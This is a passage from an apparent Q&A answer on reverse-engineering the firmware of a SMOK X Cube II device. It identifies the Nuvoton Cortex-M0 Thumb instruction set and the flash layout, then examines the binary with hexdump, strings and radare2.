a number for? &lt;a href=&quot;http://www.nuvoton.com/hq/products/microcontrollers/arm-cortex-m0-mcus/nuc120-122-123-220-usb-series/nuc220le3an/?__locale=en&quot; rel=&quot;noreferrer&quot;&gt;A Nuvoton-developed microcontroller&lt;/a&gt; based on ARM's Cortex-M0 processor.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;3. Identify the instruction set architecture&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Nuvoton is kind enough freely share technical documentation for the NuMicro NUC220 series, including the &lt;a href=&quot;http://www.nuvoton.com/resource-files/DS_NUC200_220%28AN%29_EN_Rev1.00.pdf&quot; rel=&quot;noreferrer&quot;&gt;datasheet&lt;/a&gt; and the &lt;a href=&quot;http://www.nuvoton.com/resource-files/TRM_NUC200_220%28AN%29_Series_EN_V1.02.pdf&quot; rel=&quot;noreferrer&quot;&gt;technical reference manual&lt;/a&gt;, in addition to various software tools and training materials (click on the &quot;Resources&quot; tab at the top of the NUC220LE3AN product page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the datasheet, Section 1: &quot;General Description&quot;, page 7 (emphasis mine):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The NuMicro NUC200 Series &lt;strong&gt;32-bit microcontrollers&lt;/strong&gt; is embedded with the newest ARM® Cortex™-M0  core with a cost equivalent to traditional 8-bit MCU for industrial control and applications requiring rich communication interfaces. The NuMicro NUC200 Series includes NUC200 and NUC220 product lines. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this enough information to conclude that the code in the firmware binary consist of 32-bit ARM instructions? &lt;strong&gt;No, it is not&lt;/strong&gt;. Let us look closely at the functional description of the processor (Chapter 6: Functional Description, section 1: ARM Cortex-M0 Core, page 48):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nKdiK.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nKdiK.png&quot; alt=&quot;Processor functional description&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GYpKJ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GYpKJ.png&quot; alt=&quot;Processor instruction set&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us take special note of the following information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;The  processor can  execute  Thumb  code  and  is  compatible  with  other Cortex®-M profile  processor. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;ARMv6-M Thumb® instruction set&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thumb-2 technology&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that the processor is an ARM Cortex-M0 Core and not ARM Cortex-M0+ Core, which has a different instruction set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From ARM's &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0432c/CHDCICDF.html&quot; rel=&quot;noreferrer&quot;&gt;Cortex-M0 technical reference manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The processor implements the ARMv6-M Thumb instruction set, including a number of 32-bit instructions that use Thumb-2 technology. The ARMv6-M instruction set comprises:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;all of the 16-bit Thumb instructions from ARMv7-M excluding CBZ, CBNZ and IT&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;the 32-bit Thumb instructions BL, DMB, DSB, ISB, MRS and MSR.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is &quot;Thumb code&quot; and the &quot;Thumb instruction set&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &quot;&lt;a href=&quot;http://www.embedded.com/electronics-blogs/beginner-s-corner/4024632/Introduction-to-ARM-thumb&quot; rel=&quot;noreferrer&quot;&gt;Introduction to ARM thumb&lt;/a&gt;&quot; by Joe Lemieux (emphasis mine):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Thumb instruction set consists of &lt;strong&gt;16-bit instructions&lt;/strong&gt; that act as&#xA;  a compact shorthand for a subset of the 32-bit instructions of the&#xA;  standard ARM. Every Thumb instruction could instead be executed via&#xA;  the equivalent 32-bit ARM instruction. However, not all ARM&#xA;  instructions are available in the Thumb subset; for example, there's&#xA;  no way to access status or coprocessor registers. Also, some functions&#xA;  that can be accomplished in a single ARM instruction can only be&#xA;  simulated with a sequence of Thumb instructions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;At this point, you may ask why have two instruction sets in the same&#xA;  CPU? But really the ARM contains only one instruction set: the 32-bit&#xA;  set. When it's operating in the Thumb state, the processor simply&#xA;  expands the smaller shorthand instructions fetched from memory into&#xA;  their 32-bit equivalents.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The difference between two equivalent instructions lies in how the&#xA;  instructions are fetched and interpreted prior to execution, not in&#xA;  how they function. &lt;strong&gt;Since the expansion from 16-bit to 32-bit&#xA;  instruction is accomplished via dedicated hardware within the chip, it&#xA;  doesn't slow execution even a bit. But the narrower 16-bit&#xA;  instructions do offer memory advantages.&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The Thumb instruction set provides most of the functionality required&#xA;  in a typical application. Arithmetic and logical operations,&#xA;  load/store data movements, and conditional and unconditional branches&#xA;  are supported. &lt;strong&gt;Based upon the available instruction set, any code&#xA;  written in C could be executed successfully in Thumb state.&lt;/strong&gt; However,&#xA;  device drivers and exception handlers must often be written at least&#xA;  partly in ARM state.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is a good explanation from SO: &lt;a href=&quot;https://stackoverflow.com/questions/28669905/arm-thumb-and-thumb-2-instructions-confusion/28670713#28670713&quot;&gt;ARM, Thumb and Thumb 2 instructions confusion&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.scss.tcd.ie/~waldroj/3d1/arm_arm.pdf&quot; rel=&quot;noreferrer&quot;&gt;ARMv6-M Architecture Reference Manual&lt;/a&gt;, Chapter A5:The Thumb Instruction Set Encoding, section 1: Thumb instruction set encoding, page 82:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xJOrU.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xJOrU.png&quot; alt=&quot;Thumb instruction set encoding&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The NuMicro NUC200 Series only supports little-endian data format.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H5dKc.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H5dKc.png&quot; alt=&quot;System memory map&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize: the code in the firmware binary will consist of little-endian 16-bit ARM Thumb instructions plus a few 32-bit Thumb2 instructions to be executed by a 32-bit ARM Cortex-M0 processor implementing the ARM 16-bit Thumb instruction set with support for Thumb2. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;4. Identify the device's memory layout&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Access to the technical reference manual allows us to determine what APROM and ISP are. From Chapter 6: Functional Description, section 4.4.1: Flash Memory Organization, page 191:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The NuMicro NUC200 Series flash memory consists of program memory (APROM), Data Flash, ISP loader program memory (LDROM), and user configuration. Program memory is main memory for  user  applications and called  APROM. User  can write their application to APROM and set system to boot from APROM.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ISP  loader  program  memory  is  designed  for  a  loader  to  implement In-System-Programming function.  LDROM  is  independent  to  APROM  and system  can  also  be  set  to  boot  from  LDROM. Therefore, user can user LDROM to avoid system boot fail when code of APROM was corrupted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And from Chapter 6: Functional Description, section 4.4.5: In-System-Programming (ISP), page 199:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ISP provides the ability to update system firmware on board. Various peripheral interfaces let ISP loader in LDROM to receive new program code easily. The most common method to perform ISP is  via  UART  along  with  the ISP  loader in  LDROM.  General  speaking,  PC  transfers  the  new APROM  code  through  serial  port.  Then ISP  loader receives  it  and  re-programs  into  APROM through ISP commands.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to the information in the &lt;code&gt;config.ini&lt;/code&gt; file bundled with the NuMicro ISP Programming Tool, flash memory size of the APROM segment is 128 KB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat config.ini | grep NUC200LE3AN -B2 -A3&#xA;&#xA;[0x00020000]&#xA;NAME_STRING = NUC200LE3AN&#xA;RAM_SIZE = 16&#xA;FLASH_SIZE = 128&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a diagram of the flash memory address map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/okKY3.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/okKY3.png&quot; alt=&quot;flash memory address map&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We know that the space from 0x0000_0000 to 0x0001_FFFF = 131071 bytes, which is 128 KB, and this is the region to which the binary from the hex file will be flashed to using the upgrade tool. Above that there is a block of memory from 0x0002_0000 to 0x0010_000 which is labeled &quot;Reserved for Further Used&quot;. The size of this &quot;Reserved&quot; space is 0x0010_0000 - 0x0002_0000 = 0xE0000, or 917504 bytes. This is almost 1 megabyte of reserved space. The 128 KB reserved for APROM makes up 12.5% of the address space between 0x0000_0000 and 0x0010_0000, but is represented as being larger than the ~1 MB &quot;Reserved&quot; block. This is very strange. There is also no documentation of this reserved block anywhere in the technical reference manual that I could find. If one had physical access to the device, perhaps the contents of flash memory could be dumped and analyzed to find out what lies in this region.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the firmware binary is written to space in flash memory reserved for user applications, it seems unlikely that the firmware binary contains kernel code, bootloader code or a filesystem. This is different from router firmware, which tends to at the very least contain kernel code.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Part 2: Direct analysis of the binary&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Quick recap of what we know at this point:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The device name - SMOK X Cube II &lt;/li&gt;&#xA;&lt;li&gt;The processor - A NuMicro NUC220LE3AN processor, based on an ARM Cortex-M0 Core processor&lt;/li&gt;&#xA;&lt;li&gt;The instruction set architecture - little-endian ARM-v6 M 16-bit Thumb&lt;/li&gt;&#xA;&lt;li&gt;The location in flash memory to which the firmware will be written - the 128KB APROM region for user applications (in other words, not the kernel)&lt;/li&gt;&#xA;&lt;li&gt;NuMicro is a Taiwan-based company. We will see why this is potentially relevant shortly.&lt;/li&gt;&#xA;&lt;li&gt;The entropy plot generated by &lt;code&gt;binwalk&lt;/code&gt;  included in the question reveals that there are no encrypted or compressed regions in the firmware&lt;/li&gt;&#xA;&lt;li&gt;Based on information included in the question, there exist ASCII strings embedded in the file that appear to be related to the functionality of the device &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Potential complications:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;firmware binaries do not have a standard format like executable binaries do&lt;/li&gt;&#xA;&lt;li&gt;Data may be intermingled with code/instructions within the binary. If this is the case, it is possible that data such as strings will be disassembled as instructions, resulting in an incorrect representation of the firmware's code&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Preliminary analysis&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;strings&lt;/code&gt; and &lt;code&gt;hexdump&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output of strings can be used to quick heuristic in determining if the firmware is encrypted/compressed. If there are no strings in the output, it is a good indicator that the entire file is obfuscated somehow. &lt;code&gt;hexdump&lt;/code&gt; with the -C argument can be used to provide some context for the strings i.e. where in the binary they are relative to code and relative to each other. In other words, are the strings packed together in a single block, or are they scattered throughout the binary? The answer can provide clues about the layout of the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;hexump&lt;/code&gt;, we see that the ASCII strings are intermingled with what might be code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00002ed0  01 21 1b 20 fd f7 6e fe  21 46 38 6a 09 f0 16 fd  |.!. ..n.!F8j....|&#xA;00002ee0  64 21 09 f0 13 fd 08 46  0a 21 09 f0 0f fd 10 30  |d!.....F.!.....0|&#xA;00002ef0  14 21 48 43 42 19 01 21  25 20 fd f7 5b fe 73 e0  |.!HCB..!% ..[.s.|&#xA;00002f00  68 e2 88 e0 57 41 54 54  0a 00 00 00 4d 4f 44 45  |h...WATT....MODE|&#xA;00002f10  0a 00 00 00 7c db 00 00  88 db 00 00 54 45 4d 50  |....|.......TEMP|&#xA;00002f20  0a 00 00 00 4d 45 4d 4f  52 59 0a 00 20 4d 4f 44  |....MEMORY.. MOD|&#xA;00002f30  45 20 0a 00 ac 01 00 20  53 54 52 45 4e 47 54 48  |E ..... STRENGTH|&#xA;00002f40  0a 00 00 00 3c 0b 00 20  20 4d 49 4e 20 0a 00 00  |....&amp;lt;..  MIN ...|&#xA;00002f50  53 4f 46 54 0a 00 00 00  4e 4f 52 4d 0a 00 00 00  |SOFT....NORM....|&#xA;00002f60  48 41 52 44 0a 00 00 00  20 4d 41 58 20 0a 00 00  |HARD.... MAX ...|&#xA;00002f70  ea cf 00 00 42 4c 55 45  54 4f 4f 54 48 0a 00 00  |....BLUETOOTH...|&#xA;00002f80  20 20 20 4f 4e 20 20 20  20 0a 00 00 20 20 20 4f  |   ON    ...   O|&#xA;00002f90  46 46 20 20 20 0a 00 00  ea d0 00 00 20 20 20 4c  |FF   .......   L|&#xA;00002fa0  45 44 20 20 20 0a 00 00  6a d1 00 00 53 54 45 41  |ED   ...j...STEA|&#xA;00002fb0  4c 54 48 0a 00 00 00 00  20 4f 46 46 20 20 0a 00  |LTH..... OFF  ..|&#xA;00002fc0  20 20 4f 4e 20 20 0a 00  20 20 54 4f 44 41 59 20  |  ON  ..  TODAY |&#xA;00002fd0  20 0a 00 00 80 96 98 00  f6 e1 00 00 83 e5 00 00  | ...............|&#xA;00002fe0  a0 86 01 00 10 27 00 00  21 46 38 6a 09 f0 8e fc  |.....'..!F8j....|&#xA;00002ff0  0a 21 09 f0 8b fc 10 31  14 20 41 43 4a 19 01 21  |.!.....1. ACJ..!|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;another group of ASCII strings elsewhere in the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00004f70  84 e0 04 f0 40 fe 00 28  13 d0 00 20 03 f0 ec ff  |....@..(... ....|&#xA;00004f80  1e 49 80 31 08 69 88 61  35 4a 90 42 00 d3 8c 61  |.I.1.i.a5J.B...a|&#xA;00004f90  88 69 08 62 33 48 06 23  04 22 00 90 19 46 00 20  |.i.b3H.#.&quot;...F. |&#xA;00004fa0  62 e0 6b e0 20 43 48 45  43 4b 20 20 0a 00 00 00  |b.k. CHECK  ....|&#xA;00004fb0  41 54 4f 4d 49 5a 45 52  0a 00 00 00 f6 e0 00 00  |ATOMIZER........|&#xA;00004fc0  28 03 00 20 ac 01 00 20  7a e0 00 00 20 20 43 48  |(.. ... z...  CH|&#xA;00004fd0  45 43 4b 20 20 0a 00 00  10 4b 00 00 ba e0 00 00  |ECK  ....K......|&#xA;00004fe0  44 4f 4e 27 54 0a 00 00  41 42 55 53 45 0a 00 00  |DON'T...ABUSE...|&#xA;00004ff0  50 52 4f 54 45 43 54 53  21 0a 00 00 3c 0b 00 20  |PROTECTS!...&amp;lt;.. |&#xA;00005000  20 57 41 54 54 20 0a 00  2c 2f 00 00 60 ea 00 00  | WATT ..,/..`...|&#xA;00005010  36 e1 00 00 2d 53 48 4f  52 54 2d 20 0a 00 00 00  |6...-SHORT- ....|&#xA;00005020  b2 eb 00 00 88 13 00 00  20 53 48 4f 52 54 20 20  |........ SHORT  |&#xA;00005030  0a 00 00 00 81 0b 00 00  49 53 20 4e 45 57 0a 00  |........IS NEW..|&#xA;00005040  43 4f 49 4c 3f 20 0a 00  59 0a 00 00 4e 0a 00 00  |COIL? ..Y...N...|&#xA;00005050  7c db 00 00 88 db 00 00  dc 05 00 00 a0 db 00 00  ||...............|&#xA;00005060  0f 27 00 00 94 db 00 00  fb f7 e0 fd 28 46 fd f7  |.'..........(F..|&#xA;00005070  a1 f8 fb f7 f0 fe 07 20  fd f7 08 fb af 20 fb f7  |....... ..... ..|&#xA;00005080  2f ff 00 20 fb f7 30 ff  38 bd ff 49 08 60 70 47  |/.. ..0.8..I.`pG|&#xA;00005090  fe 49 88 72 70 47 fd 48  80 7a 70 47 10 b5 13 24  |.I.rpG.H.zpG...$|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;more ASCII strings elsewhere:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00005490  44 2f 00 00 34 0c 00 20  a0 db 00 00 88 db 00 00  |D/..4.. ........|&#xA;000054a0  94 db 00 00 7c db 00 00  ea d5 00 00 36 0a 00 00  |....|.......6...|&#xA;000054b0  2e 0a 00 00 50 4f 57 45  52 0a 00 00 20 4f 46 46  |....POWER... OFF|&#xA;000054c0  20 0a 00 00 20 20 4f 4e  20 0a 00 00 e7 03 00 00  | ...  ON .......|&#xA;000054d0  0f 27 00 00 9f 86 01 00  33 08 00 00 5f db 00 00  |.'......3..._...|&#xA;000054e0  fb f7 a4 fb fd 49 20 68  07 f0 10 fa 7d 27 08 46  |.....I h....}'.F|&#xA;000054f0  ff 00 39 46 07 f0 0a fa  f9 4e 00 01 80 19 01 22  |..9F.....N.....&quot;|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are several more such clusters of ASCII strings in different parts of the file. Some of the ASCII strings are mentioned in the &lt;a href=&quot;http://7xjcby.com2.z0.glb.qiniucdn.com/file/14649402661940c5xxzme3pi4quxr.png&quot; rel=&quot;noreferrer&quot;&gt;product manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Sr1Ox.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sr1Ox.png&quot; alt=&quot;strings in product manual&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, many of the ASCII strings in the binary are not mentioned in the manual, such as these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00009d00  21 b0 f0 bd 00 01 00 50  00 ff 01 00 b4 ed 00 00  |!......P........|&#xA;00009d10  43 12 67 00 45 52 52 4f  52 3a 20 20 20 0a 00 00  |C.g.ERROR:   ...|&#xA;00009d20  4e 4f 20 53 45 43 52 45  54 0a 00 00 2d 4b 45 59  |NO SECRET...-KEY|&#xA;00009d30  21 20 20 20 20 0a 00 00  ef 48 00 68 c0 07 c0 0f  |!    ....H.h....|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Visualization of the binary also shows that byte sequences that fall within the &lt;a href=&quot;http://www.asciitable.com/&quot; rel=&quot;noreferrer&quot;&gt;ASCII range&lt;/a&gt; are scattered throughout the binary (blue is ASCII):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9yJuK.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9yJuK.png&quot; alt=&quot;binary visualization by byteclass&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Taking the locale the firmware was developed in into consideration&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware, the upgrade tool and the microcontroller are all developed by Nuvoton, a Taiwanese company. Perhaps there are sequences of traditional Chinese characters in the binary as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, &lt;code&gt;strings&lt;/code&gt; searches for ASCII character sequences and the -C option for &lt;code&gt;hexdump&lt;/code&gt; prints bytes within the ASII range as ASCII characters. But what if there are &lt;a href=&quot;https://docs.python.org/3/howto/unicode.html&quot; rel=&quot;noreferrer&quot;&gt;Unicode&lt;/a&gt;-encoded strings in the binary in addition to ASCII-encoded strings? Radare2 can be used to search for strings in the hex file directly, rather than relying on the output of a different tool (&lt;a href=&quot;https://www.suse.com/communities/blog/making-sense-hexdump/&quot; rel=&quot;noreferrer&quot;&gt;hexdump is pretty flexible&lt;/a&gt; but it is faster to use radare2). To search for strings, the &lt;a href=&quot;https://github.com/pwntester/cheatsheets/blob/master/radare2.md&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;izz&lt;/code&gt;&lt;/a&gt; commands will be used to search for strings throughout the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 ihex://SMOK_X_CUBE_II_firmware_v1.07.hex&#xA; -- I am Pentium of Borg. Division is futile. You will be approximated.&#xA;[0x00000000]&amp;gt; izz&#xA;Do you want to print 1444 lines? (y/N)   &amp;lt;--- enter &quot;y&quot;, obviously&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has some potentially interesting results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vaddr=0x0000aa95 paddr=0x0000aa95 ordinal=1093 sz=28 len=13 section=unknown type=wide string=h(胐恇ԇӕ栠だi(胐⁇ԇ&#xA;vaddr=0x0000aab5 paddr=0x0000aab5 ordinal=1094 sz=54 len=26 section=unknown type=wide string=i(胐ⱇ潩ᄆHhШ⣐ࡉ⡀ѡ⣠ũड蠅⡃灡h(胐&#xA;vaddr=0x0000aaef paddr=0x0000aaef ordinal=1095 sz=10 len=4 section=unknown type=wide string=Hh̨⣐&#xA;vaddr=0x0000ab07 paddr=0x0000ab07 ordinal=1096 sz=62 len=30 section=unknown type=wide string=h(胐ᄆ탕HhШ棐칩ࡉ桀ѡ棠ũड蠅桃灡i(胐༂웕Hh̨棐&#xA;vaddr=0x0000ab53 paddr=0x0000ab53 ordinal=1097 sz=70 len=34 section=unknown type=wide string=i(胐삵汍쁨ԇǐ栠だh(胐ꁇԇ˕栠끠h(胐恇ԇӕ栠だi(胐⁇ԇ&#xA;vaddr=0x0000ab9d paddr=0x0000ab9d ordinal=1098 sz=58 len=28 section=unknown type=wide string=i(胐ⱇ潩ᄆ꧕HhШ⣐ꡩࡉ⡀ѡ⣠ũड蠅⡃灡h(胐ꈂཌ&#xA;vaddr=0x0000abd7 paddr=0x0000abd7 ordinal=1099 sz=10 len=4 section=unknown type=wide string=Hh̨⣐&#xA;vaddr=0x0000abef paddr=0x0000abef ordinal=1100 sz=62 len=30 section=unknown type=wide string=h(胐ᄆ雕HhШ棐鑩ࡉ桀ѡ棠ũड蠅桃灡i(胐༂賕Hh̨棐&#xA;vaddr=0x0000ac3b paddr=0x0000ac3b ordinal=1101 sz=22 len=10 section=unknown type=wide string=i(胐袽腈ཨሢᄅ腃&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot read these characters, so I do not know what language they are from. Maybe it is just gibberish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Using a hex editor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://home.gna.org/bless/&quot; rel=&quot;noreferrer&quot;&gt;hex editor with a GUI&lt;/a&gt; can be used to quickly search for patterns in the data. For example, the byte &lt;code&gt;0A&lt;/code&gt; looks like it is used as a terminating character for ASCII strings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QUDZQ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QUDZQ.png&quot; alt=&quot;0A ASCII string terminating character&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Disassembly&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;So how should the binary be disassembled using r2? Are any there any special arguments or commands for 16-bit ARM Thumb instructions + some 32-bit Thumb2 instructions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://github.com/radare/radare2/issues/3433&quot; rel=&quot;noreferrer&quot;&gt;How to disassemble to ARM UAL?&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-b16 is asumed for thumb, not because the instruction size or the register size. Its an exception to make things simpler. Because its&#xA;  just a mode of the cpu.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;-b16 sets thumb2 mode in capstone disassembler (as well as in gnu). Thumb2 contains 2 byte and 4 byte instruction lengths. Thumb was only&#xA;  2. But thumb and thumb2 are binarynl compatible, so it makes sense to use thumb2 here, unless the cpu doesnt supports it.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;From what i understand from ual is that this ist just a syntax, and&#xA;  this symtax should be ready in capstone.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Capstone knows nothing about code or data. It just disassembles.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In order to properly disassemble the file, it is critical that the correct architecture is specified:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-b bits     force asm.bits (16, 32, 64)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For this firmware binary, &lt;code&gt;-b 16&lt;/code&gt; should be used, &lt;strong&gt;not &lt;code&gt;-b 32&lt;/code&gt;&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ r2 -a arm -b 16 ihex://SMOK_X_CUBE_II_firmware_v1.07.hex&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;-b 32&lt;/code&gt; is used, the result is quite a bit of byte sequences r2 reads as invalid due to misalignment:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nibzc.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nibzc.png&quot; alt=&quot;invalid disassembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, here is disassembly beginning at the same offset, &lt;code&gt;0x1e8&lt;/code&gt;, with proper 16-bit alignment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yx854.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yx854.png&quot; alt=&quot;less invalid disassembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this is totally different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To analyze the disassembled code, one must be familiar with the ARM Thumb instruction set and assembly, and probably ARM more generally (CPU design, registers, etc.). A good starting point appears to be the &lt;a href=&quot;https://azeria-labs.com/writing-arm-assembly-part-1/&quot; rel=&quot;noreferrer&quot;&gt;Azeria Labs series of tutorials&lt;/a&gt; . &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Additional Considerations&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The ISP upgrade tool is a MS Windows PE32 executable binary. This can be reverse engineered to determine how the flashing process takes place.&lt;/li&gt;&#xA;&lt;li&gt;Physical access to the microcontroller could be useful. The entire contents of flash memory could be dumped and analyzed. This would also enable one to see exactly how everything is laid out in flash memory&lt;/li&gt;&#xA;&lt;li&gt;if known good blocks of code can be isolated, it my be possible to decompile it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Conclusion&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Hopefully the approach used here proves useful for your future firmware RE endeavors. Analyzing firmware poses its own set of challenges because of the close relationship between it and it the hardware it is designed to be embedded in. Since the design and architecture of the device determines the layout and content of firmware, firmware sometimes cannot be reversed without access to the device, or at the very least knowing the instruction set architecture of the device.&lt;/p&gt;&#xA;" OwnerUserId="18317" 